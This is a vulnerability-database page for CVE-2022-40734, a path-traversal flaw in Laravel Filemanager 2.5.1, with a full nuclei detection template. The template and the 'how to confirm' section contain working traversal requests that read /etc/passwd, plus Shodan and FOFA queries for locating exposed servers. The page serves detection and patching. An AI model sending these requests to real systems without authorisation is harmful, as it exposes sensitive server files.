HexBrain

Browse / CVEs / CVE-2022-40734

CVE-2022-40734· unisharp / laravel filemanager· CWE-22

Laravel Filemanager v2.5.1 - Local File Inclusion

mediumseverity
6.5CVSS score
5.5%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.

Fix

Upgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd ; GET {{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd
Positive when: matches /root:[x*]:0:0/

Run it with nuclei: nuclei -id CVE-2022-40734 -u <target>

The full check
id: CVE-2022-40734

info:
  name: Laravel Filemanager v2.5.1 - Local File Inclusion
  author: arafatansari
  severity: medium
  description: |
    Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
  remediation: |
    Upgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor.
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
    - https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1320186966
    - https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1825310417
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-40734
    cwe-id: CWE-22
    epss-score: 0.05526
    epss-percentile: 0.92877
    cpe: cpe:2.3:a:unisharp:laravel_filemanager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: unisharp
    product: laravel_filemanager
    shodan-query:
      - http.html:"Laravel Filemanager"
      - http.html:"laravel filemanager"
    fofa-query: body="laravel filemanager"
  tags: cve,cve2022,laravel,unisharp,lfi,traversal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
      - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"

    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

References

Use this check only on systems you are authorised to test. Where the data comes from